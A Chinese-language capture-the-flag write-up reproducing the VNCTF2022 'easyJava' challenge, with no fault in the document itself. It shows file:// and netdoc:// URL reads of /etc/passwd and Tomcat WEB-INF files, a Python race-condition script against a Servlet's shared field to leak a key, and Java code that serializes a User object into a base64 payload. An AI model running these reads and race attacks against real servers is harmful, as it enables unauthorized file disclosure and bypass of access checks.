#[VNCTF2022公开赛]easyJava[复现]

前言

今天第二道Java题了,加油

提示有/file?并且please input a url

利用上一题的文件泄露,读取WEB-INF/web.xml

发现读取失败了,嗯?

image-20240616131736462

猜测应该是路径有问题

是tomcat

发现可以这样读

1
file:///etc/passwd

后面了解的应该这么读

1
2
3
4
/file?url=file:///usr/local/tomcat/webapps/ROOT/WEB-INF/web.xml
/file?url=file:///usr/local/tomcat/webapps/ROOT/WEB-INF/classes
这里官方给了另外一个协议netdoc,跟file用法是一样的,但是这个netdoc协议在jdk9以后就不能用了
file?url=netdoc:///usr/local/tomcat/webapps/ROOT/WEB-INF

后面把class文件读出来反编译

1
2
3
4
5
6
7
8
9
10
11
file?url=netdoc:///usr/local/tomcat/webapps/ROOT/WEB-INF/classes
controller
entity
User.class
servlet
FileServlet.class
HelloWorldServlet.class
util
Secr3t.class
SerAndDe.class
UrlUtil.class

HelloWorldServlet.class

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
package servlet;

import entity.User;
import java.io.IOException;
import java.util.Base64;
import java.util.Base64.Decoder;
import javax.servlet.ServletException;
import javax.servlet.ServletOutputStream;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import util.Secr3t;
import util.SerAndDe;

@WebServlet(
name = "HelloServlet",
urlPatterns = {"/evi1"}
)
public class HelloWorldServlet extends HttpServlet {

private volatile String name = "m4n_q1u_666";
private volatile String age = "666";
private volatile String height = "180";
User user;


public void init() throws ServletException {
this.user = new User(this.name, this.age, this.height);
}

protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
String reqName = req.getParameter("name");
if(reqName != null) {
this.name = reqName;
}

if(Secr3t.check(this.name)) {
this.Response(resp, "no vnctf2022!");
} else {
if(Secr3t.check(this.name)) {
this.Response(resp, "The Key is " + Secr3t.getKey());
}

}
}

protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
String key = req.getParameter("key");
String text = req.getParameter("base64");
if(Secr3t.getKey().equals(key) && text != null) {
Decoder decoder = Base64.getDecoder();
byte[] textByte = decoder.decode(text);
User u = (User)SerAndDe.deserialize(textByte);
if(this.user.equals(u)) {
this.Response(resp, "Deserialize…… Flag is " + Secr3t.getFlag().toString());
}
} else {
this.Response(resp, "KeyError");
}

}

private void Response(HttpServletResponse resp, String outStr) throws IOException {
ServletOutputStream out = resp.getOutputStream();
out.write(outStr.getBytes());
out.flush();
out.close();
}
}

太长了贴贴中点重点

先来看helloWorldServle.java

image-20240616133322406

会调用Secr3t,去看Secr3t.class

image-20240616133843022

会比较传进去的字符串是不是vnctf2022

奇怪的是在

1
2
3
4
5
6
if(Secr3t.check(this.name)) {
this.Response(resp, "no vnctf2022!");
} else {
if(Secr3t.check(this.name)) {
this.Response(resp, "The Key is " + Secr3t.getKey());
}

这里if的条件和else的条件一模一样?也是学习到了这里需要用到条件竞争Servlet的线程安全问题 | Y4tacker’s Blog

Servlet实际上是一个单件,当我们第一次请求某个Servlet时,Servlet容器将会根据web.xml配置文件或者是注解实例化这个Servlet类,之后如果又有新的客户端请求该Servlet时,则一般不会再实例化该Servlet类,这说明了什么呢?简单来说,当多个用户一起访问时,得到的其实是同一个Servlet实例,这样的话,他们对实例的成员变量的修改其实会影响到别人,所以在开发的时候如果没有注意这个问题往往会有一些额安全问题,而往往Servlet的线程安全问题主要是由于实例变量使用不当而引起

条件竞争脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
import requests
import threading

host = "http://e7a8816c-fda4-4ce3-97d2-c3e302bd2313.node5.buuoj.cn:81/"



class myThread(threading.Thread):
def __init__(self, name):
threading.Thread.__init__(self)
self.name = name

def run(self):
print("开始线程:" + self.name)
runing(self.name)
print("退出线程:" + self.name)


def runing(name):
while True:
r = requests.get(host + "/evi1?name=%s" % name)
r.encoding = "utf-8"
#print(host + "/evi1?name=%s" % name)
if r.text.find("The Key is") != -1:
print(r.text)
return 0


# 创建新线程
thread1 = myThread("Q1ngchuan")
thread2 = myThread("vnctf2022")

# 开启新线程
thread1.start()
thread2.start()
thread1.join()
thread2.join()


得到Sl9oQbIdNtLQDepEbWV6xnSHzUNIvTPS

继续看到 doPOst方法

image-20240616135457899

看到第一个if

他将text参数进行了base64解码 并且转为了字节流的形式,然后传入SerAndDe.deserialize(),先不去看源码,应该就是一个进行反序列化的操作, 先试着序列化反序列化。用题目自身的代码去执行。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import java.*;

import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.util.Base64;

public class Exp {
public static void main(String[] args) throws IOException {
User user = new User("Q1ngchuan","18","180");
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(user);

byte[] bytes = byteArrayOutputStream.toByteArray();
Base64.Encoder encoder = Base64.getEncoder();
String s = encoder.encodeToString(bytes);
System.out.println(s);

}
}

最后需要注意的是User.java中的height属性是由transient修饰的,是无法序列化的,所以在生成byte的时候需要重写⼀下writeObject,否则会将⾃⼰的User对象的height值为空。

image-20240616141612403